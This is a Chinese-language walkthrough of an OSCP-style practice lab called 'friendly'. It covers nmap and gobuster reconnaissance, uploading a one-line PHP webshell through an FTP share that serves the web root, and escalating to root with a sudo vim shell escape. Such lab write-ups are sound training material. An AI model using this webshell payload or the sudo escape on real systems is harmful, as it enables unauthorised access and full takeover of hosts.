【OSCP】friendly

OSCP 靶场

靶场介绍

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

└─# nmap -sV -Pn -p- -T4 192.168.1.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-28 01:43 EST
Nmap scan report for 192.168.1.57
Host is up (0.00048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
MAC Address: 08:00:27:A2:9F:C0 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.24 seconds

目录扫描

└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-lis
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.57
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/dire
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.57/.php                 (Status: 403) [Size: 277]
http://192.168.1.57/index.html           (Status: 200) [Size: 10725]
http://192.168.1.57/.html                (Status: 403) [Size: 277]
http://192.168.1.57/.php                 (Status: 403) [Size: 277]
http://192.168.1.57/.html                (Status: 403) [Size: 277]
http://192.168.1.57/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished

权限获取

ftp里面存在一个index.html文件，下载后发现是web 服务的index.html 默认页面。

尝试上传一个文件到ftp，发现对应的目录是web 的根目录。

上传php 文件解析成功后，我们直接上传webshell获取权限

<?=`$_GET[0]`?>

为了方便操作我们反弹一个交互shell

权限提升

上面提示不知道用来干嘛，这里sudo -l 发现sudo可执行vim，执行如下命令直接提权到root 权限

sudo vim -c ':!/bin/sh'

原文始发于微信公众号（贝雷帽SEC）：【OSCP】friendly